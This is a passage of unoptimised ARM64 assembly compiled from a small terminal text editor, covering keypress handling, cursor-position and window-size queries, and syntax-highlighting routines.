LBB3_24: ; in Loop: Header=BB3_6 Depth=1
b LBB3_34
LBB3_25: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-15]
subs w8, w8, #65
; kill: def $x8 killed $w8
str x8, [sp, #16] ; 8-byte Folded Spill
subs x8, x8, #7
cset w8, hi
tbnz w8, #0, LBB3_33
; %bb.26: ; in Loop: Header=BB3_6 Depth=1
ldr x11, [sp, #16] ; 8-byte Folded Reload
adrp x10, lJTI3_0@PAGE
add x10, x10, lJTI3_0@PAGEOFF
Ltmp0:
adr x8, Ltmp0
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB3_27:
mov w8, #1002
stur w8, [x29, #-4]
b LBB3_45
LBB3_28:
mov w8, #1003
stur w8, [x29, #-4]
b LBB3_45
LBB3_29:
mov w8, #1001
stur w8, [x29, #-4]
b LBB3_45
LBB3_30:
mov w8, #1000
stur w8, [x29, #-4]
b LBB3_45
LBB3_31:
mov w8, #1005
stur w8, [x29, #-4]
b LBB3_45
LBB3_32:
mov w8, #1006
stur w8, [x29, #-4]
b LBB3_45
LBB3_33: ; in Loop: Header=BB3_6 Depth=1
b LBB3_34
LBB3_34: ; in Loop: Header=BB3_6 Depth=1
b LBB3_42
LBB3_35: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-16]
subs w8, w8, #79
cset w8, ne
tbnz w8, #0, LBB3_41
b LBB3_36
LBB3_36: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-15]
str w8, [sp, #12] ; 4-byte Folded Spill
subs w8, w8, #70
cset w8, eq
tbnz w8, #0, LBB3_39
b LBB3_37
LBB3_37: ; in Loop: Header=BB3_6 Depth=1
ldr w8, [sp, #12] ; 4-byte Folded Reload
subs w8, w8, #72
cset w8, ne
tbnz w8, #0, LBB3_40
b LBB3_38
LBB3_38:
mov w8, #1005
stur w8, [x29, #-4]
b LBB3_45
LBB3_39:
mov w8, #1006
stur w8, [x29, #-4]
b LBB3_45
LBB3_40: ; in Loop: Header=BB3_6 Depth=1
b LBB3_41
LBB3_41: ; in Loop: Header=BB3_6 Depth=1
b LBB3_42
LBB3_42: ; in Loop: Header=BB3_6 Depth=1
b LBB3_44
LBB3_43:
ldursb w8, [x29, #-13]
stur w8, [x29, #-4]
b LBB3_45
LBB3_44: ; in Loop: Header=BB3_6 Depth=1
b LBB3_6
LBB3_45:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
.p2align 2
lJTI3_0:
.long LBB3_27-Ltmp0
.long LBB3_28-Ltmp0
.long LBB3_29-Ltmp0
.long LBB3_30-Ltmp0
.long LBB3_33-Ltmp0
.long LBB3_32-Ltmp0
.long LBB3_33-Ltmp0
.long LBB3_31-Ltmp0
; -- End function
.globl _getCursorPosition ; -- Begin function getCursorPosition
.p2align 2
_getCursorPosition: ; @getCursorPosition
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str w0, [sp, #48]
str w1, [sp, #44]
str x2, [sp, #32]
str x3, [sp, #24]
str wzr, [sp, #20]
ldr w0, [sp, #44]
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
mov x2, #4
bl _write
subs x8, x0, #4
cset w8, eq
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
mov w8, #-1
stur w8, [x29, #-44]
b LBB4_15
LBB4_2:
b LBB4_3
LBB4_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
; kill: def $x8 killed $w8
subs x8, x8, #31
cset w8, hs
tbnz w8, #0, LBB4_9
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_3 Depth=1
ldr w0, [sp, #48]
ldr w8, [sp, #20]
mov x9, x8
sub x8, x29, #40
add x1, x8, x9
mov x2, #1
bl _read
subs x8, x0, #1
cset w8, eq
tbnz w8, #0, LBB4_6
b LBB4_5
LBB4_5:
b LBB4_9
LBB4_6: ; in Loop: Header=BB4_3 Depth=1
ldr w8, [sp, #20]
mov x9, x8
sub x8, x29, #40
ldrsb w8, [x8, x9]
subs w8, w8, #82
cset w8, ne
tbnz w8, #0, LBB4_8
b LBB4_7
LBB4_7:
b LBB4_9
LBB4_8: ; in Loop: Header=BB4_3 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB4_3
LBB4_9:
ldr w8, [sp, #20]
mov x9, x8
sub x8, x29, #40
add x8, x8, x9
strb wzr, [x8]
ldursb w8, [x29, #-40]
subs w8, w8, #27
cset w8, ne
tbnz w8, #0, LBB4_11
b LBB4_10
LBB4_10:
ldursb w8, [x29, #-39]
subs w8, w8, #91
cset w8, eq
tbnz w8, #0, LBB4_12
b LBB4_11
LBB4_11:
mov w8, #-1
stur w8, [x29, #-44]
b LBB4_15
LBB4_12:
sub x8, x29, #40
add x0, x8, #2
ldr x10, [sp, #32]
ldr x8, [sp, #24]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.25@PAGE
add x1, x1, l_.str.25@PAGEOFF
bl _sscanf
subs w8, w0, #2
cset w8, eq
tbnz w8, #0, LBB4_14
b LBB4_13
LBB4_13:
mov w8, #-1
stur w8, [x29, #-44]
b LBB4_15
LBB4_14:
stur wzr, [x29, #-44]
b LBB4_15
LBB4_15:
ldur w8, [x29, #-44]
str w8, [sp, #16] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_17
b LBB4_16
LBB4_16:
bl ___stack_chk_fail
LBB4_17:
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _getWindowSize ; -- Begin function getWindowSize
.p2align 2
_getWindowSize: ; @getWindowSize
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur w0, [x29, #-48]
stur w1, [x29, #-52]
str x2, [sp, #64]
str x3, [sp, #56]
mov x9, sp
add x8, sp, #48
str x8, [x9]
mov w0, #1
mov x1, #29800
movk x1, #16392, lsl #16
bl _ioctl
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB5_2
b LBB5_1
LBB5_1:
ldrh w8, [sp, #50]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_11
b LBB5_2
LBB5_2:
ldur w0, [x29, #-48]
ldur w1, [x29, #-52]
add x2, sp, #44
add x3, sp, #40
bl _getCursorPosition
str w0, [sp, #36]
ldr w8, [sp, #36]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB5_4
b LBB5_3
LBB5_3:
b LBB5_12
LBB5_4:
ldur w0, [x29, #-52]
adrp x1, l_.str.26@PAGE
add x1, x1, l_.str.26@PAGEOFF
mov x2, #12
bl _write
subs x8, x0, #12
cset w8, eq
tbnz w8, #0, LBB5_6
b LBB5_5
LBB5_5:
b LBB5_12
LBB5_6:
ldur w0, [x29, #-48]
ldur w1, [x29, #-52]
ldr x2, [sp, #64]
ldr x3, [sp, #56]
bl _getCursorPosition
str w0, [sp, #36]
ldr w8, [sp, #36]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB5_8
b LBB5_7
LBB5_7:
b LBB5_12
LBB5_8:
ldr w8, [sp, #44]
; implicit-def: $x10
mov x10, x8
ldr w9, [sp, #40]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
sub x0, x29, #40
str x0, [sp, #24] ; 8-byte Folded Spill
mov x3, #32
mov x1, x3
mov w2, #0
adrp x4, l_.str.27@PAGE
add x4, x4, l_.str.27@PAGEOFF
bl ___snprintf_chk
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-52]
str w8, [sp, #32] ; 4-byte Folded Spill
bl _strlen
ldr x1, [sp, #24] ; 8-byte Folded Reload
mov x2, x0
ldr w0, [sp, #32] ; 4-byte Folded Reload
bl _write
adds x8, x0, #1
cset w8, ne
tbnz w8, #0, LBB5_10
b LBB5_9
LBB5_9:
b LBB5_10
LBB5_10:
stur wzr, [x29, #-44]
b LBB5_13
LBB5_11:
ldrh w8, [sp, #50]
ldr x9, [sp, #56]
str w8, [x9]
ldrh w8, [sp, #48]
ldr x9, [sp, #64]
str w8, [x9]
stur wzr, [x29, #-44]
b LBB5_13
LBB5_12:
mov w8, #-1
stur w8, [x29, #-44]
b LBB5_13
LBB5_13:
ldur w8, [x29, #-44]
str w8, [sp, #20] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB5_15
b LBB5_14
LBB5_14:
bl ___stack_chk_fail
LBB5_15:
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
add sp, sp, #144
ret
.cfi_endproc
; -- End function
.globl _is_separator ; -- Begin function is_separator
.p2align 2
_is_separator: ; @is_separator
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, eq
mov w9, #1
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB6_3
b LBB6_1
LBB6_1:
ldur w0, [x29, #-4]
bl _isspace
subs w8, w0, #0
cset w8, ne
mov w9, #1
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB6_3
b LBB6_2
LBB6_2:
ldur w1, [x29, #-4]
adrp x0, l_.str.28@PAGE
add x0, x0, l_.str.28@PAGEOFF
bl _strchr
subs x8, x0, #0
cset w8, ne
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB6_3
LBB6_3:
ldr w8, [sp, #8] ; 4-byte Folded Reload
and w0, w8, #0x1
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _editorRowHasOpenComment ; -- Begin function editorRowHasOpenComment
.p2align 2
_editorRowHasOpenComment: ; @editorRowHasOpenComment
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp]
ldr x8, [sp]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB7_7
b LBB7_1
LBB7_1:
ldr x8, [sp]
ldr w8, [x8, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB7_7
b LBB7_2
LBB7_2:
ldr x8, [sp]
ldr x8, [x8, #32]
ldr x9, [sp]
ldr w9, [x9, #8]
subs w9, w9, #1
ldrb w8, [x8, w9, sxtw]
subs w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB7_7
b LBB7_3
LBB7_3:
ldr x8, [sp]
ldr w8, [x8, #8]
subs w8, w8, #2
cset w8, lt
tbnz w8, #0, LBB7_6
b LBB7_4
LBB7_4:
ldr x8, [sp]
ldr x8, [x8, #24]
ldr x9, [sp]
ldr w9, [x9, #8]
subs w9, w9, #2
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #42
cset w8, ne
tbnz w8, #0, LBB7_6
b LBB7_5
LBB7_5:
ldr x8, [sp]
ldr x8, [x8, #24]
ldr x9, [sp]
ldr w9, [x9, #8]
subs w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB7_7
b LBB7_6
LBB7_6:
mov w8, #1
str w8, [sp, #12]
b LBB7_8
LBB7_7:
str wzr, [sp, #12]
b LBB7_8
LBB7_8:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _editorUpdateSyntax ; -- Begin function editorUpdateSyntax
.p2align 2
_editorUpdateSyntax: ; @editorUpdateSyntax
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x0, [x8, #32]
ldur x8, [x29, #-8]
ldrsw x1, [x8, #8]
bl _realloc
ldur x8, [x29, #-8]
str x0, [x8, #32]
ldur x8, [x29, #-8]
ldr x0, [x8, #32]
ldur x8, [x29, #-8]
ldrsw x2, [x8, #8]
mov w1, #0
mov x3, #-1
bl ___memset_chk
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8, #144]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB8_2
b LBB8_1
LBB8_1:
b LBB8_62
LBB8_2:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x9, [x8, #144]
ldr x9, [x9, #8]
stur x9, [x29, #-40]
ldr x9, [x8, #144]
add x9, x9, #16
str x9, [sp, #48]
ldr x9, [x8, #144]
add x9, x9, #18
str x9, [sp, #40]
ldr x8, [x8, #144]
add x8, x8, #21
str x8, [sp, #32]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
stur x8, [x29, #-32]
stur wzr, [x29, #-12]
b LBB8_3
LBB8_3: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB8_5
b LBB8_4
LBB8_4: ; in Loop: Header=BB8_3 Depth=1
ldur x8, [x29, #-32]
ldrsb w0, [x8]
bl _isspace
subs w8, w0, #0
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB8_5
LBB8_5: ; in Loop: Header=BB8_3 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB8_7
b LBB8_6
LBB8_6: ; in Loop: Header=BB8_3 Depth=1
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB8_3
LBB8_7:
mov w8, #1
stur w8, [x29, #-16]
stur wzr, [x29, #-20]
stur wzr, [x29, #-24]
ldur x8, [x29, #-8]
ldr w8, [x8]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB8_10
b LBB8_8
LBB8_8:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8, #32]
ldur x8, [x29, #-8]
ldr w8, [x8]
subs w8, w8, #1
mov w9, #48
smaddl x0, w8, w9, x10
bl _editorRowHasOpenComment
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB8_10
b LBB8_9
LBB8_9:
mov w8, #1
stur w8, [x29, #-24]
b LBB8_10
LBB8_10:
b LBB8_11
LBB8_11: ; =>This Loop Header: Depth=1
; Child Loop BB8_46 Depth 2
ldur x8, [x29, #-32]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_58
b LBB8_12
LBB8_12: ; in Loop: Header=BB8_11 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_16
b LBB8_13
LBB8_13: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
ldr x9, [sp, #48]
ldrsb w9, [x9]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_16
b LBB8_14
LBB8_14: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8, #1]
ldr x9, [sp, #48]
ldrsb w9, [x9, #1]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_16
b LBB8_15
LBB8_15:
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x0, x8, x9
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
ldur w9, [x29, #-12]
subs w9, w8, w9
; implicit-def: $x8
mov x8, x9
sxtw x2, w8
mov w1, #2
mov x3, #-1
bl ___memset_chk
b LBB8_62
LBB8_16: ; in Loop: Header=BB8_11 Depth=1
ldur w8, [x29, #-24]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_21
b LBB8_17
LBB8_17: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #3
strb w8, [x9]
ldur x8, [x29, #-32]
ldrsb w8, [x8]
ldr x9, [sp, #32]
ldrsb w9, [x9]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_20
b LBB8_18
LBB8_18: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8, #1]
ldr x9, [sp, #32]
ldrsb w9, [x9, #1]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_20
b LBB8_19
LBB8_19: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x9, [x8, #32]
ldur w10, [x29, #-12]
mov w8, #1
add w10, w10, #1
add x10, x9, w10, sxtw
mov w9, #3
strb w9, [x10]
ldur x9, [x29, #-32]
add x9, x9, #2
stur x9, [x29, #-32]
ldur w9, [x29, #-12]
add w9, w9, #2
stur w9, [x29, #-12]
stur wzr, [x29, #-24]
stur w8, [x29, #-16]
b LBB8_11
LBB8_20: ; in Loop: Header=BB8_11 Depth=1
stur wzr, [x29, #-16]
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB8_11
LBB8_21: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
ldr x9, [sp, #40]
ldrsb w9, [x9]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_24
b LBB8_22
LBB8_22: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8, #1]
ldr x9, [sp, #40]
ldrsb w9, [x9, #1]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_24
b LBB8_23
LBB8_23: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x8, x8, x9
mov w9, #3
strb w9, [x8]
ldur x8, [x29, #-8]
ldr x10, [x8, #32]
ldur w11, [x29, #-12]
mov w8, #1
add w11, w11, #1
add x10, x10, w11, sxtw
strb w9, [x10]
ldur x9, [x29, #-32]
add x9, x9, #2
stur x9, [x29, #-32]
ldur w9, [x29, #-12]
add w9, w9, #2
stur w9, [x29, #-12]
stur w8, [x29, #-24]
stur wzr, [x29, #-16]
b LBB8_11
LBB8_24: ; in Loop: Header=BB8_11 Depth=1
b LBB8_25
LBB8_25: ; in Loop: Header=BB8_11 Depth=1
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_31
b LBB8_26
LBB8_26: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #6
strb w8, [x9]
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB8_28
b LBB8_27
LBB8_27: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldur w9, [x29, #-12]
add w9, w9, #1
add x9, x8, w9, sxtw
mov w8, #6
strb w8, [x9]
ldur x8, [x29, #-32]
add x8, x8, #2
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #2
stur w8, [x29, #-12]
stur wzr, [x29, #-16]
b LBB8_11
LBB8_28: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB8_30
b LBB8_29
LBB8_29: ; in Loop: Header=BB8_11 Depth=1
stur wzr, [x29, #-20]
b LBB8_30
LBB8_30: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB8_11
LBB8_31: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #34
cset w8, eq
tbnz w8, #0, LBB8_33
b LBB8_32
LBB8_32: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #39
cset w8, ne
tbnz w8, #0, LBB8_34
b LBB8_33
LBB8_33: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
stur w8, [x29, #-20]
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #6
strb w8, [x9]
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
stur wzr, [x29, #-16]
b LBB8_11
LBB8_34: ; in Loop: Header=BB8_11 Depth=1
b LBB8_35
LBB8_35: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w0, [x8]
bl _isprint
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB8_37
b LBB8_36
LBB8_36: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #1
strb w8, [x9]
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
stur wzr, [x29, #-16]
b LBB8_11
LBB8_37: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w0, [x8]
bl _isdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB8_40
b LBB8_38
LBB8_38: ; in Loop: Header=BB8_11 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB8_43
b LBB8_39
LBB8_39: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldur w9, [x29, #-12]
subs w9, w9, #1
ldrb w8, [x8, w9, sxtw]
subs w8, w8, #7
cset w8, eq
tbnz w8, #0, LBB8_43
b LBB8_40
LBB8_40: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #46
cset w8, ne
tbnz w8, #0, LBB8_44
b LBB8_41
LBB8_41: ; in Loop: Header=BB8_11 Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB8_44
b LBB8_42
LBB8_42: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldur w9, [x29, #-12]
subs w9, w9, #1
ldrb w8, [x8, w9, sxtw]
subs w8, w8, #7
cset w8, ne
tbnz w8, #0, LBB8_44
b LBB8_43
LBB8_43: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x9, x8, x9
mov w8, #7
strb w8, [x9]
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
stur wzr, [x29, #-16]
b LBB8_11
LBB8_44: ; in Loop: Header=BB8_11 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_57
b LBB8_45
LBB8_45: ; in Loop: Header=BB8_11 Depth=1
str wzr, [sp, #28]
b LBB8_46
LBB8_46: ; Parent Loop BB8_11 Depth=1
; => This Inner Loop Header: Depth=2
ldur x8, [x29, #-40]
ldrsw x9, [sp, #28]
ldr x8, [x8, x9, lsl #3]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB8_54
b LBB8_47
LBB8_47: ; in Loop: Header=BB8_46 Depth=2
ldur x8, [x29, #-40]
ldrsw x9, [sp, #28]
ldr x0, [x8, x9, lsl #3]
bl _strlen
mov x8, x0
str w8, [sp, #24]
ldur x8, [x29, #-40]
ldrsw x9, [sp, #28]
ldr x8, [x8, x9, lsl #3]
ldr w9, [sp, #24]
subs w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #124
cset w8, eq
and w8, w8, #0x1
str w8, [sp, #20]
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_49
b LBB8_48
LBB8_48: ; in Loop: Header=BB8_46 Depth=2
ldr w8, [sp, #24]
subs w8, w8, #1
str w8, [sp, #24]
b LBB8_49
LBB8_49: ; in Loop: Header=BB8_46 Depth=2
ldur x0, [x29, #-32]
ldur x8, [x29, #-40]
ldrsw x9, [sp, #28]
ldr x1, [x8, x9, lsl #3]
ldrsw x2, [sp, #24]
bl _memcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB8_52
b LBB8_50
LBB8_50: ; in Loop: Header=BB8_46 Depth=2
ldur x8, [x29, #-32]
ldrsw x9, [sp, #24]
ldrsb w0, [x8, x9]
bl _is_separator
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB8_52
b LBB8_51
LBB8_51: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #32]
ldursw x9, [x29, #-12]
add x0, x8, x9
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, ne
and w10, w8, #0x1
mov w9, #4
mov w8, #5
ands w10, w10, #0x1
csel w1, w8, w9, ne
ldrsw x2, [sp, #24]
mov x3, #-1
bl ___memset_chk
ldrsw x9, [sp, #24]
ldur x8, [x29, #-32]
add x8, x8, x9
stur x8, [x29, #-32]
ldr w9, [sp, #24]
ldur w8, [x29, #-12]
add w8, w8, w9
stur w8, [x29, #-12]
b LBB8_54
LBB8_52: ; in Loop: Header=BB8_46 Depth=2
b LBB8_53
LBB8_53: ; in Loop: Header=BB8_46 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB8_46
LBB8_54: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-40]
ldrsw x9, [sp, #28]
ldr x8, [x8, x9, lsl #3]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB8_56
b LBB8_55
LBB8_55: ; in Loop: Header=BB8_11 Depth=1
stur wzr, [x29, #-16]
b LBB8_11
LBB8_56: ; in Loop: Header=BB8_11 Depth=1
b LBB8_57
LBB8_57: ; in Loop: Header=BB8_11 Depth=1
ldur x8, [x29, #-32]
ldrsb w0, [x8]
bl _is_separator
stur w0, [x29, #-16]
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB8_11
LBB8_58:
ldur x0, [x29, #-8]
bl _editorRowHasOpenComment
str w0, [sp, #16]
ldur x8, [x29, #-8]
ldr w8, [x8, #40]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB8_61
b LBB8_59
LBB8_59:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur x8, [x29, #-8]
ldr w8, [x8]
add w8, w8, #1
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB8_61
b LBB8_60
LBB8_60:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8, #32]
ldur x8, [x29, #-8]
ldr w8, [x8]
add w8, w8, #1
mov w9, #48
smaddl x0, w8, w9, x10
bl _editorUpdateSyntax
b LBB8_61
LBB8_61:
ldr w8, [sp, #16]
ldur x9, [x29, #-8]
str w8, [x9, #40]
b LBB8_62
LBB8_62:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _editorSyntaxToColor ; -- Begin function editorSyntaxToColor
.p2align 2
_editorSyntaxToColor: ; @editorSyntaxToColor
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #2
; kill: def $x8 killed $w8
str x8, [sp] ; 8-byte Folded Spill
subs x8, x8, #6
